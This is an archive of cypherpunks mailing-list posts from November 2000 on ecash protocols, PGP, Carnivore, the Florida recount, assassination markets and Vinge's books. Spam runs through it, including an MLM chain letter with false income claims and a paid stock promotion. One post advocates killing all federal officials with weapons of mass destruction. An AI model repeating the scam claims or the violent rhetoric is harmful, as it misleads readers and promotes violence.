cut-and-choose protocol, > those tokens still have to have splits of valid identification > information for somebody in them - and giving them all to > Bob so that Bob could complete the protocol with the bank - > would imply that Bob is privy to that information. There are far more efficient offline systems than cut and choose. You need to get past the A's and into the B's and C's in your protocol list. Check more recent work from Brands and Chaum. From NEWCAR at flyingleemersonline.com Tue Nov 28 18:32:24 2000 From: NEWCAR at flyingleemersonline.com (NEW CAR) Date: Tue, 28 Nov 2000 18:32:24 -0800 Subject: CDR: BEST DEAL ON NEW CARS AND TRUCKS! Message-ID: <200011281045.EAA01317@einstein.ssz.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1170 bytes Desc: not available URL: From gil_hamilton at hotmail.com Tue Nov 28 19:36:18 2000 From: gil_hamilton at hotmail.com (Gil Hamilton) Date: Tue, 28 Nov 2000 19:36:18 Subject: CDR: Re: Imagine Message-ID: Alex B. Shepardsen writes: >So we've got a problem. The voting methods we have aren't adequate. It's >obvious that something needs to be done to fix this for the future... but >what would you have happen now? I wonder if Gore partisans would accept ANY voting method as adequate while their guy was behind. I don't really see that there is a problem. The methods of voting are a local and/or state matter. Various jurisdictions are already making plans to change their voting methods for the next election. Fine, that is their prerogative. However, if some localities continue to utilize punch cards and the so-called butterfly ballots, that's okay too. No ballot is going to be idiot proof (cause you know how ingenious those idiots are). There will always be spoiled ballots; it's just a matter of degree. The proportion of spoiled ballots in the "disputed" areas in Florida is no higher than in many other precincts throughout the country. Since those who created the ballot and who ran the election in the disputed areas of Florida are of the same party as Gore, and since the FL Supremes -- who pretty much just went out and made up their own laws to help Gore out -- are essentially all of Gore's party as well, I'm not worried that some great injustice has occurred despite Bush's brother being "governor of the province". The ballot design may well have been responsible for Bush winning and Gore losing, but since the decisions on the ballot design and deployment were made through the ordinary statutory mechanisms, well, it's just tough shit for Gore. (And as for the notion that some foreigners might think our election looks like that in a "banana republic": Who cares? If it lowers our credibility as the World's Policeman or as potential "election monitors" the next time a *real* banana republic holds an election, that's great! The less we stick our noses in others' business, the better.) >Without a full recount, Bush's victory will always be questioned. It is no longer possible to select a winner in the 2000 election whose victory will NOT be questioned by some. So what? At this point, no matter who wins, at least 48% of the population feels that the winner "stole the election". With respect to future elections, it is probably more advantageous to be the loser in this one (well, at least the losing party, if not the losing candidate). You go into the next election with a solid half of the population convinced that you got screwed; convince a small number of the other half and you've got the 2004 election sewn up. >With more legal battles from Gore, he loses credibility as the US citizens >lose faith in the electorial process. Only from simpletons who believe Gore's oh-so-sincere "every vote MUST be counted." I mean, really: it's a fine sentiment, but it's never going to happen. If our inability to reach perfection is going to cause citizens to "lose faith in the electorial[sic] process", it simply shows that they're not paying attention (big surprise). >How do you propose this be handled? I've not seen any good suggestions yet >that address all concerns. What's to handle? Those who don't like it either get over it, or they join the revolution :-). - GH _____________________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com From hseaver at harmon.arrowhead.lib.mn.us Tue Nov 28 18:21:22 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Tue, 28 Nov 2000 20:21:22 -0600 Subject: CDR: NRO Secrecy Message-ID: <3A24681E.43871E6B@harmon.arrowhead.lib.mn.us> New NRO Mandate Raises Secrecy Flag http://www.techweb.com/wire/story/TWB20001128S0003 A commission created to examine the future of the National Reconnaissance Office (NRO) wants that agency to set up a highly classified office to spearhead advanced research. The commission also concluded that the NRO -- arguably the largest intelligence agency in the United States in budget terms -- should outsource more of its satellite intelligence from commercial companies. The National Commission for the Review of the NRO recommended that an Office of Space Reconnaissance be established that would be granted top-secret procurement status, with oversight by only the highest levels of government. The plan is drawing criticism from some groups, who warn that increasing the secretive nature, scope, and budget of the NRO without instituting new accountability measures is risky. ............ From debuskr at yahoo.com Tue Nov 28 20:59:44 2000 From: debuskr at yahoo.com (Elizabeth Bright) Date: Tue, 28 Nov 2000 20:59:44 Subject: CDR: EARN $50,000.00 Message-ID: <200011290207.SAA13512@cyberpass.net> Dear Friend You can earn $50,000 or more in next the 90 days sending e-mail. Seem impossible? Read on for details; is there a catch; NO, there is no catch, just send your emails and be on your way to financial freedom. "AS SEEN ON NATIONAL TELEVISION" Thank you for your time and Interest. This is the letter you've been reading about in the news lately. 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It can be started with VERY LITTLE investment and the income return is TREMENDOUS!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $50,000 in less than 90 days! Please read the enclosed program...THEN READ IT AGAIN!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ THIS IS A LEGITIMATE, LEGAL, MONEYMAKING OPPORTUNITY. It does not require you to come into contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dreams will come true. This Multi-level e-mail order marketing program works perfectly 100% EVERY TIME. E-mail is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW! The longer you wait, the more people will be doing business using e-mail. Get your piece of this action !!! MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and the Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold through multi-level methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the U.S., 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45people become millionaires everyday through Multi-Level Marketing. You may have heard this story before, but over the summer Donald Trump made an appearance on the David Letterman show. Dave asked him what he would do if he lost everything and had to start over from scratch. Without hesitating, Trump said he would find a good network marketing company and get to work. The audience started to hoot and boo him. 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YOU ARE SELLING A PRODUCT WHICH DOES NOT COST YOU ANYTHING TO ADVERTISE! 4. YOU ARE UTILIZING THE POWER OF THE INTERNET AND THE POWER OF MULTI-LEVEL MARKETING TO DISTRIBUTE YOUR PRODUCT ALL OVER THE WORLD! 5. YOUR ONLY EXPENSES OTHER THAN YOUR INITIAL $20 INVESTMENT IS YOUR TIME! 6. VIRTUALLY ALL OF THE INCOME YOU GENERATE FROM THIS PROGRAM IS PURE PROFIT! 7. THIS PROGRAM WILL CHANGE YOUR LIFE FOREVER. FOR YOUR INFORMATION.... If you need help with starting a business, registering a business name, learning how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency) 1-(800)827-5722 for free help and answers to questions. Also, the Internal Revenue Service offers free help via telephone and free seminars about business tax requirements. If you have any question of the legality of this letter contact the Office of Associate Director for Marketing Practices Federal Trade Commission Bureau of Consumer Protection in Washington DC. or the U.S. Post Office 1-800-725-2161 24-hrs ------------------------------------------------------------------------------------------- This ad is being sent in compliance with Senate bill 1618, Title 3, section 301. http://www.senate.gov/~murkowski/commercialemail/S771index.html Here is a more detailed version of the legal notice above: This message is sent in compliance of the new e-mail bill: SECTION 301. Per Section 301, Paragraph (a)(2)(C) of S. 1618, http://www.senate.gov/~murkowski/commercialemail/S771index.html Further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to this email address with the word "remove" in the subject line. ------------------------------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Tue Nov 28 19:17:10 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Tue, 28 Nov 2000 21:17:10 -0600 (CST) Subject: CDR: Is PGP broken? (fwd) Message-ID: ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Tue, 28 Nov 2000 21:22:18 -0500 (EST) From: Russell Nelson To: cryptography at c2.net Subject: Is PGP broken? Is it just me, or is PGP broken? I don't mean any particular version of PGP -- I mean the fact that there are multiple versions of PGP which generate incompatible cryptography. Half the time when someone sends me a PGP-encrypted message, I can't decrypt it. Presuming that I'm right, is anyone attempting to fix PGP? Not to mention anything about PGP keyservers, or the utter and complete absence of anybody doing point-source PGP signing. -- -russ nelson http://russnelson.com Crynwr sells support for free software | PGPok | The best way to help the poor 521 Pleasant Valley Rd. | +1 315 268 1925 voice | is to help the rich build Potsdam, NY 13676-3213 | +1 315 268 9201 FAX | up their capital. From hseaver at harmon.arrowhead.lib.mn.us Tue Nov 28 20:02:25 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Tue, 28 Nov 2000 22:02:25 -0600 Subject: CDR: Re: Vinge References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> <20001128230145.C8146@cluebot.com> Message-ID: <3A247FCA.EFDCECA6@harmon.arrowhead.lib.mn.us> Was that html? Sorry, it shouldn't have been. I was just playing with Netscape 6 and noticed several things to be broken in it -- that must be another. Declan McCullagh wrote: > Please, don't send HTML messages to the list. There's rarely any > reason, and not all mailreaders support it. > > -Declan > > On Tue, Nov 28, 2000 at 05:28:40PM -0500, Harmon Seaver wrote: > [HTML] From tcmay at got.net Tue Nov 28 19:24:16 2000 From: tcmay at got.net (Tim May) Date: Tue, 28 Nov 2000 22:24:16 -0500 Subject: CDR: Re: Vinge In-Reply-To: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> Message-ID: At 5:28 PM -0500 11/28/00, Harmon Seaver wrote: > Lucky me -- I was recently able to score a nice copy of Vinge's >"Across Realtime", the '91 edition that includes "Ungoverned", for >only $3 at a used bookstore. Busy reading it now, and liking it so >much I talked myself into a $25 copy of "True Names" I found thru >Bibliofind. Wish they were hardcover, it seems like an awful lot to >pay $25 for a pulp edition paperback, but seeing that all the other >copies were $60 and up and also paperback, I guess it's a deal. Considering that the new edition of "True Names" is just about to appear, and has a bunch of related essays in it, I certainly wouldn't have paid $25 for the pb. > Used book stores -- sigh! Sure wish I could afford to quit the >computer racket and run a used book store instead. A _physical_ used book store? Surely you are kidding. My experience is that used book stores are employers of low-wage people...suggesting slim profit margins. If you are suggesting an Internet service, you wouldn't even have to leave the computer biz. OTOH, other companies are already offering such matching services. Powell's Books, for example. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From declan at well.com Tue Nov 28 19:38:19 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 28 Nov 2000 22:38:19 -0500 Subject: CDR: Re: Vinge In-Reply-To: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us>; from hseaver@harmon.arrowhead.lib.mn.us on Tue, Nov 28, 2000 at 05:28:40PM -0500 References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> Message-ID: <20001128230145.C8146@cluebot.com> Please, don't send HTML messages to the list. There's rarely any reason, and not all mailreaders support it. -Declan On Tue, Nov 28, 2000 at 05:28:40PM -0500, Harmon Seaver wrote: [HTML] From adam at cypherspace.org Tue Nov 28 19:41:07 2000 From: adam at cypherspace.org (Adam Back) Date: Tue, 28 Nov 2000 22:41:07 -0500 Subject: CDR: ecash, cut & choose and private credentials (Re: Jim Bell) In-Reply-To: <20001128180014.30727.qmail@nym.alias.net> (message from lcs Mixmaster Remailer on 28 Nov 2000 18:00:14 -0000) Message-ID: <200011290341.WAA01102@cypherspace.org> [Hey Hal, what happened to your Chaum's ecash description? Can't find it to link to]. Anonymous wrote: > Ray wrote: > > Even if she provides enough > > tokens to completely populate the cut-and-choose protocol, > > those tokens still have to have splits of valid identification > > information for somebody in them - and giving them all to > > Bob so that Bob could complete the protocol with the bank - > > would imply that Bob is privy to that information. > > There are far more efficient offline systems than cut and choose. > You need to get past the A's and into the B's and C's in your > protocol list. Check more recent work from Brands and Chaum. Here's a short description of Chaum's [2] ecash and credentials vs Brands' [1] more general and flexibile private credentials and ecash. So as both anonymous and Ray know cut and choose refers to the method of encoding identity into coin. The basic problem is that Chaum's blind signature doesn't the signer see what he is signing. So cut and choose is just the user encodes identity in a number of candidate coins, and the bank chooses one at random and the user must reveal the rest. This allows tunable probability of cheating (not encoding identity in the chosen coin). This is done in such a way that a coin showing protocol will reveal the identity if the coin is spent twice (due to random values chosen by the merchant resulting in two simultaneous equations with two unknowns -- one of them the identity). Cut and choose is computation and communication inefficient. Brands' private credentials stuff uses a technique he calls secret key certificates to allow the issuer and the user to both see the attributes being signed. The user ends up with a certificate on the attributes and the ability to prove the validity of the certificate during a certificate showing protocol. The user can also choose to selectively disclose attributes during disclosure, for example if there are two attributes he can reveal one (the coin denomination) and not the other (his identity). With Chaum's ecash you have to use the cut and choose protocol which is inefficient, with Brands' protocol the user and the issuer engage in a protocol with 3 moves (Discrete Log based variant) or 2 moves (RSA based variant) which is both computation and communication efficient. With Chaum's ecash you have to encode the coin denomination by having a separate public certification key for each denomination. You don't have to do this with Brands' private credentials, as you can put this in an attribute. Also the number of attributes is arbitrary, so if it makes sense to have more attributes in the general private credential case, you can. (For example sex, age, nationality, passport credential, etc. you can reveal any combination you choose after certification.) You can also show fairly arbitrary boolean expressions involving the attributes and not reveal anything other than the truth of the expression. (Eg. Female US citizen over 60 or Male Canadian citizen under 18, and not reveal sex, citizenship or age). The certificates are linkable (ie the verifier or merchant can tell that you are the same pseudonymous person who last showed the certificate), because there is a public key chosen by the user and the public key is revealed during the show protocol. There is also a refresh protocol where the user can give a used certificate and get a fresh certificate without having to show the attribute vales of the certificate -- the certifier just knows he is certifying the same as last time. The refreshed cert would be unlinkable at show time from the original cert. For ecash purposes you can use private credentials to make both offline and online cash. So private credentials are nice and flexible for building generalised private credentials, and also more flexible and so allow you to do some things more efficiently, and do some things not directly possible with Chaum's credentials. Unfortunately both Brands' and Chaum's ecash and credential schemes are patented. David Wagner et al also had some ideas about an ecash coin [3] composed roughly of a public key based MAC (ie the user can't verify the validity of the coin directly -- only the bank can do that), plus a zero-knowledge proof that the bank hasn't marked the coin. This may be unpatened in that it's not directly a certificate, it's a MAC, plus a zero-knowledge proof so it seems like a fairly different process. I don't think you can do efficient offline ecash with Wagner et al's mechanism -- I'd guess it's more comparable with the functionality offered by Chaum's blind signature. There is a high level white paper describing the applications of Brands' private credentials and comparing to Chaum's credentials: at the bottom Brands Private Credentials White Paper. [1] http://www.zeroknowledge.com/media/default.asp [2] Hal Finney used to have a description of Chaum's protocol on rain.org but he's at www.finney.org/~hal/ now and I can't find the link. (Cc'd to see if he still has it.) Actually I did once see a description of Brands stuff by Hal also... still have that too? [3] Ben Laurie has a paper describing Wagner et al's MAC + ZKP ecash / credential protocol as theory2.pdf. http://anoncvs.aldigital.co.uk/lucre/ Adam Disclaimer: As always my comments are my own. From tom at lemuria.org Tue Nov 28 14:10:37 2000 From: tom at lemuria.org (Tom Vogt) Date: Tue, 28 Nov 2000 23:10:37 +0100 Subject: CDR: huffman decoding Message-ID: <20001128231037.A12931@lemuria.org> this is probably too "low-level" for "applied cryptography", but it's still a real-world problem for me: - I have a datastream (just a couple bytes) that I know is huffman encoded. however, I don't have the tables or know anything else. - I do not only know parts of the plaintext, but can generate it at will. however, I do not know for sure where in the ciphertext it will end up and I know for sure there is other information in the datastream. given this, it shouldn't be too difficult to derive the tables, right? especially not if I can generate ciphertext at will with known plaintext inside. so, aside from staring at long rows of binary and waiting to spot the pattern, is there a well-known approach to this? (I want to remotely query a closed-source server software that uses this system to report to an also closed-source client software. I know which information it transports (at least parts) and I have control of the server so I can have it include arbitrary strings (there's a "comment" field that is freely available to me and gets transmitted).) -- "The net treats censorship as a malfunction and re-routes around it." (John Gilmore) From hseaver at harmon.arrowhead.lib.mn.us Tue Nov 28 20:18:57 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Tue, 28 Nov 2000 23:18:57 -0500 Subject: CDR: Re: Vinge References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> Message-ID: <3A2483A9.742EF906@harmon.arrowhead.lib.mn.us> Tim May wrote: > Considering that the new edition of "True Names" is just about to > appear, and has a bunch of related essays in it, I certainly wouldn't > have paid $25 for the pb. Really! Hadn't heard it was -- oh well! Chance's are tho the value will hold, since Vinge seems to be collectible judging by the prices at Bibliofind. > > > > Used book stores -- sigh! Sure wish I could afford to quit the > >computer racket and run a used book store instead. > > A _physical_ used book store? Surely you are kidding. My experience > is that used book stores are employers of low-wage > people...suggesting slim profit margins. That's why I said "I wish I could afford..." 8-) I also frequently wish I could go back to grad school, get my PhD in religious studies or MFA in creative writing and get a job teaching in at some groovy college. Same problem -- can't afford it. > > > If you are suggesting an Internet service, you wouldn't even have to > leave the computer biz. OTOH, other companies are already offering > such matching services. Powell's Books, for example. > Powell's is awesome. I'm glad I only get to visit it once in awhile -- I'd go broke otherwise. From bear at sonic.net Tue Nov 28 20:22:05 2000 From: bear at sonic.net (Ray Dillinger) Date: Tue, 28 Nov 2000 23:22:05 -0500 Subject: CDR: Re: Jim Bell In-Reply-To: <3.0.6.32.20001128141234.0080f770@pop.sprynet.com> Message-ID: On Tue, 28 Nov 2000, David Honig wrote: >At 10:18 PM 11/27/00 -0500, Ray Dillinger wrote: >>I don't think I care to waste any effort on figuring out >>secure ways to kill people outside the law. > >Would you feel better if it were within the law? Not very much better. I recognize that large groups of people cannot function without somehow separating a few destructive people from the group. Imprisoning them is one route, killing them is another. Which is more cruel is open to interpretation. I see no reason why I personally should be called upon to be part of that machinery though -- nor any good reason why, if called, I should comply. >If >the US could construct an anonymous payment system that only works >for , they'd have uses for it. Yep. This is pretty much my opinion about the whole assassination thing; if an anonymous market for assassination existed, people would be likely to use it the way the traditional assassination markets are used; Governments to eliminate dissidents, major corporations to eliminate competitors with better products and innovators with ideas that threaten major markets, and the sheeple to get rid of the people their spouses were sleeping with (or maybe their spouses). Millionaire brats would use it to accellerate their inheritances, rogue cops would use it to destroy people whom they were unable to get quality evidence on, etc... Bell's idea that government would feel the lash more deeply than anyone else is plain nuts IMO. Anybody want to bet Jeff Gordon has more money to spend on AP than James Bell? I mean, if it came down to it, who could afford to have whom eliminated? Bear From tcmay at got.net Tue Nov 28 20:40:10 2000 From: tcmay at got.net (Tim May) Date: Tue, 28 Nov 2000 23:40:10 -0500 Subject: CDR: Re: Carnivore Probe Mollifies Some In-Reply-To: <3.0.6.32.20001128142838.0080adc0@pop.sprynet.com> References: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> Message-ID: At 5:48 PM -0500 11/28/00, David Honig wrote: >At 06:54 AM 11/28/00 -0500, Ken Brown wrote: >>Of course if they leave the machine [Carnivore] in the cage you can always >stop >>feeding it electricity. Or take it home to show the neighbours. It might >>make a good conversation piece at dinner. Or maybe use it as an ashtray. > >>At 10:36 PM 11/27/00 -0500, Tim May wrote: >>CALEA has some onerous language in it, but it doesn't trump the >>Fourth Amendment. > > >You could try the Carnivore box against an implemention of your Second >Amendment rights. Unless the chassis were hardened you'd win. I think a reasonable "quartering troops" (Third) case could be made, as requiring a government box to be quartered on one's property is certainly exactly what the Founders were worried about when they included the Third. Generally, I hope CALEA/Carnivore gets challenged all the way to the Supreme Court. Requiring someone to have a government machine on their property, recording _all_ traffic, is fully comparable to a requirement that t.v. cameras or microphones be permanently installed on private property. Violates the Fourth, for sure, and probably the Third, and possibly the First, and perhaps others parts of the Constitution. I want Bush to become President so I can see at least a few years of another party in power before going ahead and advocating that they ALL be killed and that Weapons of Mass Destruction be used to eliminate the nest of vipers on the Potomac. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From adam at cypherspace.org Tue Nov 28 20:50:43 2000 From: adam at cypherspace.org (Adam Back) Date: Tue, 28 Nov 2000 23:50:43 -0500 Subject: CDR: Re: ecash, cut & choose and private credentials (Re: Jim Bell) In-Reply-To: <200011290341.WAA01102@cypherspace.org> (message from Adam Back on Tue, 28 Nov 2000 22:41:07 -0500) Message-ID: <200011290450.XAA01454@cypherspace.org> I wrote: > [2] Hal Finney used to have a description of Chaum's protocol on rain.org > but he's at www.finney.org/~hal/ now and I can't find the link. Hal says: http://www.finney.org/~hal/chcash1.html and http://www.finney.org/~hal/chcash2.html Wow look at the dates on those files -- Oct 93, and we still no deployed ecash. You'd think there would be a market there for porn sites alone with merchant repudiation rates, and lack of privacy in other payment systems. www.digicash.com has some blurbs about "solutions", a few "demos" -- actually shockwave animations I can't view under linux -- and a few press releases about deals -- but no indication of where would could go to download a client or obtain a real account. Another interesting and related use for ecash would be file distribution systems which use economics to resist DoS, and give people an incentive to run them, and profits to fuel the scaling of the system to scale. Examples are Mojonation's mojo and some of my and Ryan Lackey's earlier musings about eternity / cypherspace / distributed content sharing. So in the mean time we have privacy less things like paypal apparently getting reasonable adoption. I was going to read about visa cash -- but more fscking shockwave -- the frontpage is shockwave no less so you get zip information out of them. http://www.visacash.com/ Adam From tcmay at got.net Tue Nov 28 20:52:13 2000 From: tcmay at got.net (Tim May) Date: Tue, 28 Nov 2000 23:52:13 -0500 Subject: CDR: Re: Vinge In-Reply-To: <3A2483A9.742EF906@harmon.arrowhead.lib.mn.us> References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> Message-ID: At 11:18 PM -0500 11/28/00, Harmon Seaver wrote: >Tim May wrote: > >> Considering that the new edition of "True Names" is just about to >> appear, and has a bunch of related essays in it, I certainly wouldn't >> have paid $25 for the pb. > > Really! Hadn't heard it was -- oh well! Well, this is what you get for not reading--or at least not remembering--list traffic. The forthcoming "True Names" re-issue has been discussed several times, including mentions in the last few months by both myself and, IIRC, Bill Stewart. Here's what I wrote the last time the "The Ungoverned" was discussed" "Vinge just won a second Hugo Best Novel for "A Deepness in the Sky," so maybe this means the long-delayed re-issue of "True Names" will finally happen. (Alas, my essay for it was written several years ago, so is even more out of date. From the instant publishing on the Net to several years' delay in publishing in pulpspace.)" Also, a simple query of Amazon turns up the re-issue of "True Names." --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From brflgnk at cotse.com Tue Nov 28 21:18:26 2000 From: brflgnk at cotse.com (brflgnk at cotse.com) Date: Wed, 29 Nov 2000 00:18:26 -0500 Subject: CDR: Re: Vinge In-Reply-To: <4.3.2.7.2.20001128231650.00ab75a0@pop3.idt.net> References: <4.3.2.7.2.20001128231650.00ab75a0@pop3.idt.net> Message-ID: <975475106.3a2491a296fb2@webmail.cotse.com> Quoting Tim May : > Considering that the new edition of "True Names" is just about to > appear, > and has a bunch of related essays in it, I certainly wouldn't have paid > $25 > for the pb. Any idea when? Amazon's had me on backorder for 15 months. From Hallmark.com at update.hallmark.com Tue Nov 28 21:33:28 2000 From: Hallmark.com at update.hallmark.com (Hallmark.com) Date: Wed, 29 Nov 2000 00:33:28 -0500 (EST) Subject: CDR: Find PEANUTS(R) Holiday Gifts at Hallmark Message-ID: Dear Bung: Is there a PEANUTS(R) fan on your list? Share the charm of PEANUTS this holiday season with gifts from Hallmark. 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Click below to read the online contest rules. http://update.hallmark.com/cgi-bin2/flo?y=eCEd0BMs6L0BPN07qIh&userID=2192593 PEANUTS (c)United Feature Syndicate, Inc. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3426 bytes Desc: not available URL: From honig at sprynet.com Tue Nov 28 21:35:49 2000 From: honig at sprynet.com (David Honig) Date: Wed, 29 Nov 2000 00:35:49 -0500 Subject: CDR: Re: Jim Bell In-Reply-To: References: <3.0.6.32.20001128141234.0080f770@pop.sprynet.com> Message-ID: <3.0.6.32.20001128212752.00807210@pop.sprynet.com> At 08:21 PM 11/28/00 -0800, Ray Dillinger wrote: >I see no reason why I personally should be called upon to be >part of that machinery though -- nor any good reason why, if >called, I should comply. Well, I'm into Thoreau too. Even swam in his pond once. The point of any serious futurist (including JB) is to look to possibilities... AP is possible and probable... given certain infrastructures. Bell:AP::Tesla:AC Or not. >>If >>the US could construct an anonymous payment system that only works >>for , they'd have uses for it. > >Yep. This is pretty much my opinion about the whole assassination >thing; if an anonymous market for assassination existed, people >would be likely to use it the way the traditional assassination >markets are used; Governments to eliminate dissidents, major >corporations to eliminate competitors with better products and >innovators with ideas that threaten major markets, and the sheeple >to get rid of the people their spouses were sleeping with (or maybe >their spouses). Millionaire brats would use it to accellerate >their inheritances, rogue cops would use it to destroy people whom >they were unable to get quality evidence on, etc... Bell's idea >that government would feel the lash more deeply than anyone else >is plain nuts IMO. I can't argue with that. An armed, anonymous society is a damned polite society. Paraphrasing you know who. >Anybody want to bet Jeff Gordon has more money to spend on AP than >James Bell? I mean, if it came down to it, who could afford to have >whom eliminated? > > Bear If Alfred Nobel were blown up by dynamite, it would not be significant, only ironic. Cheers, DH From cassie380 at excite.com Wed Nov 29 01:52:52 2000 From: cassie380 at excite.com (cassie380 at excite.com) Date: Wed, 29 Nov 2000 01:52:52 Subject: CDR: Hope for Breast Cancer Message-ID: <818.730949.563253@excite.com> Nov 17, 2000 * * * * * * * * * * * * * * Investors Spotlight by Looknofurther * * * * * * * * * * * * Bioenvision.co.uk (BIOV.OB) BIOENVISION READIES LEAD PRODUCT LAUNCH Reports Substantive Progress On Four Platform Technologies BIOENVISION INC. - OTCBB Symbol: BIOV.OB In a recent press release President & CEO Chris Wood commented, "The global anti-cancer therapy market, presently valued at approximately $16 billion, is poised for considerable further growth. We believe this market will double in the next 4 years. This expansion will be driven by innovative new therapies which should dramatically improve control over the disease. During the past fiscal year, we made substantive progress developing our four platform technologies. We intend marketing our breast cancer drug, Modrefen, in 2001. This product will compete in the market-place with drugs such as Genentech's (NYSE:DNA - news) Herceptin but it's novel mode of action puts it in a specific therapeutic niche. Extensive clinical trials showed that Modrefen is effective in up to 55% of patients with breast cancer who relapse after hormone therapy with drugs such as Astra Zeneca's (NYSE:AZN - news) Tamoxifen." Dr. Wood continued, "During the next 12 months we intend to find a co-development partner for our anti-leukemia agent, Clofarabine. This drug is in Phase II clinical trials and early results are encouraging. This product will compete with Fludarabine, which is marketed in the USA by Berlex, a subsidiary of Schering AG (717200D) and Pentotatin which is marketed by Supergen (NASDAQ:SUPG - news). We continue to make substantive progress on our Gene Therapy platform. In the past year the team added a second gene to the vector and conducted successful pre-clinical trials. The results have confirmed the ability of the vector to transfer DNA to skeletal muscle and for release of gene product into the blood stream. In an earlier clinical trial, with the albumin gene attached to the vector, patients with low serum albumin levels due to end-stage liver disease, had serum levels returned to the normal range after treatment. We believe that these agents have considerable commercial possibilities." Company Overview Bioenvision is a development-stage, biopharmaceutical company primarily engaged in the development of products and technologies for the treatment of cancer. Bioenvision has acquired development, manufacturing and marketing rights to four technologies from which a range of products have been derived and from which additional products may be developed in the future. Bioenvision aims to continue developing its existing platform technologies, acquire additional technologies and products with multiple uses, and commercialize products for the multi-billion dollar cancer treatment market. Bioenvision expects to begin marketing Trilostane for the treatment of post-menopausal breast cancer on a commercial scale in the United States and Europe in the second quarter of 2001. The product is already FDA-approved in the United States for another use. Bioenvision plans to apply to use the drug in the United States for treatment of hormone sensitive cancers, such as breast cancer and advanced prostrate cancer. In addition, three of the other products and technologies to which Bioenvision has acquired rights are presently being tested in clinical trials, and an additional eight are in the pre-clinical stage of development. Assuming the successful completion of clinical trials, Bioenvision anticipates that by the end of 2002, five of Bioenvision's products and technologies will have received regulatory approval for specific disease (primarily cancer) treatment indications in the United States or Europe and seven will be in the final stages of the clinical trial process. Bioenvision has had discussions with potential development partners over the past year and plan to continue to explore the possibilities for co-development and sub-licensing. Bioenvision expects to enter into a co-development agreement for at least one of our products within the next few months although there can be no assurances that any such agreement will be reached. Bioenvision is also working on a fourth group of compounds that act as cytostatic agents by stopping the growth of cancer cells. There are at least three potential products in this category, one of which is set for a Phase I clinical trial in the coming year. These compounds are at an early stage of development but the Company expects these agents to fill the product pipeline for the future. In March 2000, Bioenvision recieved an equity investment of $2 million from Bioaccelerate BVI, a Swiss-based investment company which enabled the Company to move ahead in its business plan during 2000. Bioaccelerate has an option to invest an additional $4 million in the Company and that investment relates to certain milestones in the coming 12 months. Product Portfolio The following is a description of Bioenvision's current portfolio of technologies, products and products in development. Product / Disease intended / Current stage /Anticipated Time to be treated of Development Until Marketed Cancer Treatment --------------------------------------------------------------------- Modrefen / Breast cancer / At market / - - - Abetafen / Prostate cancer / Phase II trials / 2 years Clofarabine / Leukemia, Lymphoma / Phase II trials / 18 months Clofarabine / Solid tumors / Phase I trials / 2 years Cytostatics / Bladder cancer / Phase I trials / 3 years RA inhibitor / Leukemia / Pre-clinical / 4 years Hormone blocker / Prostate cancer / Pre-clinical / 4 years Gene Therapy -------------------------------------------------------------------- Product 1 / Leukemia / Phase I, II / 3 years Product 2 / Cancer support / Phase I, II / 3 years Non-Cancer Applications -------------------------------------------------------------------- Trilostane / Cushing's disease / At market / - - - Trilostane / Alzheimer's disease / Pre-clinical / 2 years Clofarabine / Transplantation / Phase I trials / 3 years Gene Therapy / Vaccines, Cirrhosis, Diabetes, MS / R & D / 5 years HISTORY The Company was founded by Chris Wood and financed by Kevin Leech, who were responsible for the first two public biotech companies in Europe in 1987, being Medeva plc and ML Laboratories plc respectively. STRATEGIC RELATIONSHIPS London School of Pharmacy University of Cardiff National Institute of Cancer, Bari, Italy University College, London MD Anderson Cancer Center, Houston, Texas Southern Research Institute, Alabama Memorial Sloan Kettering Cancer Institute, New York Imperial College, London STRATEGY Bioenvision's strategy is to license and acquire products ready for clinical trials or at a late stage of development, and to use the expertise of Bioenvision's management to take the products through clinical trials and to commercially position the products for today's marketplace. Bioenvision will establish an oncology sales force for the North American market while establishing a joint venture sales force in Europe. This will give Bioenvision the ability to distribute products from Bioenvision's own pipeline as well as products from other biotech companies looking for a dedicated oncology distribution chain. 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Looknofurther may liquidate the stock consideration it receives at any time it deems it appropriate to do so. The liquidation of our stock may have a negative impact on the securities of the company liquidated, including decreased market value and/or dilution of the company's securities. The following company has agreed to pay Looknofurther to: distribute the 